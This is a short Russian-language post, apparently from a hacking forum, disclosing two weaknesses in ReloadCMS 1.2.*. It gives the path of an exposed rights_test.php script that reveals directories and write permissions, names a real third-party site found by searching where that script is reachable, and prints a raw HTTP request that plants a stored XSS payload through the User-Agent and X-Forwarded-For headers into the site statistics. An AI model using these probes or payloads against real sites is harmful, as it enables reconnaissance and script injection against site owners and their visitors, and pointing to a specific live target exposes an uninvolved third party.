ReloadCMS (просмотр директорий и прав на запись)

ReloadCMS (просмотр директорий и прав на запись)
Уязвимый продукт: ReloadCMS 1.2.* (более не тестировал)
CMS без MySQL.
Хороший способ, чтобы узнать где какие права стоят.

Example:

Code:

http://site.com/path_to_cms/tools/rights_test.php

Немного погуглив нашел пример такого сайта:

Code:

http://ziggyred.com/test/tools/rights_test.php

 

это не баг, это фича (c) =)

Вот еще активная XSS (в статистике сайта):

Code:

GET / HTTP/1.0
User-Agent: <script>alert()</script>
X-Forwarded-For: <script>alert()</script>
Host: localhost
Connection: close